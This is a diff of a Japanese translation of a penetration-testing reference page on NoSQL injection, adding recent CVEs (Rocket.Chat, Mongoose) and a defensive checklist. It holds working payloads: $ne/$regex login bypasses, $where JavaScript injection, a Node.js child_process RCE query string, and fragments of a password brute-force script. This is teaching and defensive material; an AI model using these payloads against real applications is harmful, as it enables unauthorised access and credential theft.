Translated ['src/pentesting-web/nosql-injection.md'] to ja

src/pentesting-web/nosql-injection.md

@@ -1,12 +1,12 @@
-# NoSQLインジェクション
+# NoSQL injection
 
 {{#include ../banners/hacktricks-training.md}}
 
-## エクスプロイト
+## Exploit
 
-PHPでは、送信されたパラメータを _parameter=foo_ から _parameter\[arrName]=foo_ に変更することで配列を送信できます。
+PHPでは、送信するパラメータを _parameter=foo_ から _parameter[arrName]=foo_ に変更することで配列を送信できます。
 
-エクスプロイトは、**オペレーター**を追加することに基づいています：
+エクスプロイトは、**Operator**を追加することに基づいています：
 ```bash
 username[$ne]=1$password[$ne]=1 #<Not Equals>
 username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
@@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
 ```javascript
 query = { $where: `this.username == '${username}'` }
 ```
-攻撃者は、`admin' || 'a'=='a` のような文字列を入力することでこれを悪用でき、同値性 (`'a'=='a'`) を満たす条件でクエリがすべてのドキュメントを返すようになります。これは、`' or 1=1-- -` のような入力を使用してSQLクエリを操作するSQLインジェクション攻撃に類似しています。MongoDBでは、`' || 1==1//`、`' || 1==1%00`、または `admin' || 'a'=='a` のような入力を使用して同様のインジェクションが行えます。
+攻撃者は、`admin' || 'a'=='a`のような文字列を入力することでこれを悪用でき、同値性（`'a'=='a'`）を満たす条件でクエリがすべてのドキュメントを返すようになります。これは、`' or 1=1-- -`のような入力を使用してSQLクエリを操作するSQLインジェクション攻撃に類似しています。MongoDBでは、`' || 1==1//`、`' || 1==1%00`、または`admin' || 'a'=='a`のような入力を使用して同様のインジェクションが行えます。
 ```
 Normal sql: ' or 1=1-- -
 Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a
@@ -46,7 +46,7 @@ username[$ne]=toto&password[$regex]=.{1}
 username[$ne]=toto&password[$regex]=.{3}
 # True if the length equals 1,3...
 ```
-### データ情報の抽出
+### データ情報を抽出する
 ```
 in URL (if length == 3)
 username[$ne]=toto&password[$regex]=a.{2}
@@ -88,7 +88,7 @@ in JSON
 
 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/)を使用して、異なるコレクションから情報を取得することが可能です。以下の例では、**`users`**という**異なるコレクション**から読み取り、ワイルドカードに一致するパスワードを持つ**すべてのエントリの結果**を取得しています。
 
-**注意:** `$lookup`および他の集約関数は、より一般的な`find()`または`findOne()`関数の代わりに`aggregate()`関数を使用して検索を実行した場合にのみ利用可能です。
+**注意:** `$lookup`およびその他の集約関数は、より一般的な`find()`または`findOne()`関数の代わりに`aggregate()`関数を使用して検索を実行した場合にのみ利用可能です。
 ```json
 [
 {
@@ -114,7 +114,41 @@ in JSON
 ```json
 { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
 ```
-## MongoDB ペイロード
+## 最近のCVEと実世界のエクスプロイト (2023-2025)
+
+### Rocket.Chat 認証なしブラインド NoSQLi – CVE-2023-28359
+バージョン ≤ 6.0.0 は、ユーザー制御の **selector** オブジェクトを `find()` に直接転送する Meteor メソッド `listEmojiCustom` を露出させていました。 `{"$where":"sleep(2000)||true"}` のようなオペレーターを注入することで、認証されていない攻撃者はタイミングオラクルを構築し、ドキュメントを抽出することができました。このバグは、セレクターの形状を検証し、危険なオペレーターを削除することで、6.0.1 で修正されました。
+
+### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061
+`populate()` が `match` オプションと共に使用されると、Mongoose (≤ 8.8.2) は MongoDB に送信する前にオブジェクトをそのままコピーしました。したがって、`$where` を提供することで、サーバー側の JS が MongoDB で無効になっていても、JavaScript **内で Node.js** が実行されました:
+```js
+// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
+Post.find()
+.populate({ path: 'author', match: req.query.author });   // RCE
+```
+最初のパッチ (8.8.3) はトップレベルの `$where` をブロックしましたが、これを `$or` の下にネストすることでフィルターを回避し、CVE-2025-23061 に至りました。この問題は 8.9.5 で完全に修正され、新しい接続オプション `sanitizeFilter: true` が導入されました。
+
+### GraphQL → Mongo フィルターの混乱
+`args.filter` を直接 `collection.find()` に渡すリゾルバーは依然として脆弱です:
+```graphql
+query users($f:UserFilter){
+users(filter:$f){ _id email }
+}
+
+# variables
+{ "f": { "$ne": {} } }
+```
+緩和策: `$` で始まるキーを再帰的に削除し、許可された演算子を明示的にマッピングするか、スキーマライブラリ（Joi、Zod）で検証します。
+
+## 防御的チートシート (2025年更新)
+
+1. `$` で始まるキーはすべて削除または拒否します（`express-mongo-sanitize`、`mongo-sanitize`、Mongoose `sanitizeFilter:true`）。
+2. 自己ホスト型MongoDBでサーバーサイドJavaScriptを無効にします（`--noscripting`、v7.0+のデフォルト）。
+3. `$where` の代わりに `$expr` と集約ビルダーを優先します。
+4. データ型を早期に検証します（Joi/Ajv）し、スカラーが期待される場所で配列を許可しないことで `[$ne]` トリックを回避します。
+5. GraphQLの場合、フィルター引数を許可リストを通じて変換します。信頼できないオブジェクトを展開してはいけません。
+
+## MongoDBペイロード
 
 リスト [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
 ```
@@ -193,6 +227,7 @@ url = "http://example.com"
 headers = {"Host": "exmaple.com"}
 cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
 possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
+
 def get_password(username):
 print("Extracting password of "+username)
 params = {"username":username, "password[$regex]":"", "login": "login"}
@@ -225,9 +260,10 @@ for u in get_usernames(""):
 get_password(u)
 ```
 ## ツール
-
 - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
 - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
+- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
+- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
 
 ## 参考文献
 
@@ -236,5 +272,7 @@ get_password(u)
 - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
 - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
 - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
+- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
+- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
 
 {{#include ../banners/hacktricks-training.md}}